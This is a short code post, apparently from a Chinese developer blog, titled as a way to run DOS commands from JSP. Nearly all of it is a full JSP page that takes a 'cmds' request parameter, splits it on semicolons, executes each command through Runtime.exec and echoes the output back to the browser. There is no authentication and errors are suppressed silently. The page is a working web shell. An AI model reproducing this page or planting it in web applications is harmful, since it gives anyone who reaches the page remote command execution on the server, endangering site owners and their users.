JSP执行DOS命令

<%@ page language="java" contentType="text/html; charset=utf-8"
pageEncoding="utf-8" import="java.io.*"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Insert title here</title>
</head>
<body>
<%!String[] cmds = null;%>
<% String cmdsStr = request.getParameter("cmds");
if (cmdsStr != null) {
cmds = cmdsStr.split(";");
}
out.write("<table border=1>");
if (cmds != null)
for (int i = 0; i < cmds.length; i++) {
Process process;
try {
String result;
out.write("<tr>");
out.write("<td>");
out.write(cmds[i] + "的输出结果");
out.write("</td>");
out.write("<td>");
process = Runtime.getRuntime().exec(cmds[i]);
BufferedReader bufferedReader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
while ((result = bufferedReader.readLine()) != null)
out.write(result + "<br>");
out.write("</td>");
process.waitFor();
} catch (IOException e) {

} catch (InterruptedException e) {

} finally {
out.write("</tr>");
}
}
out.write("</table>");
%>
</body>
</html>

你可能感兴趣的:(java,html,jsp,dos)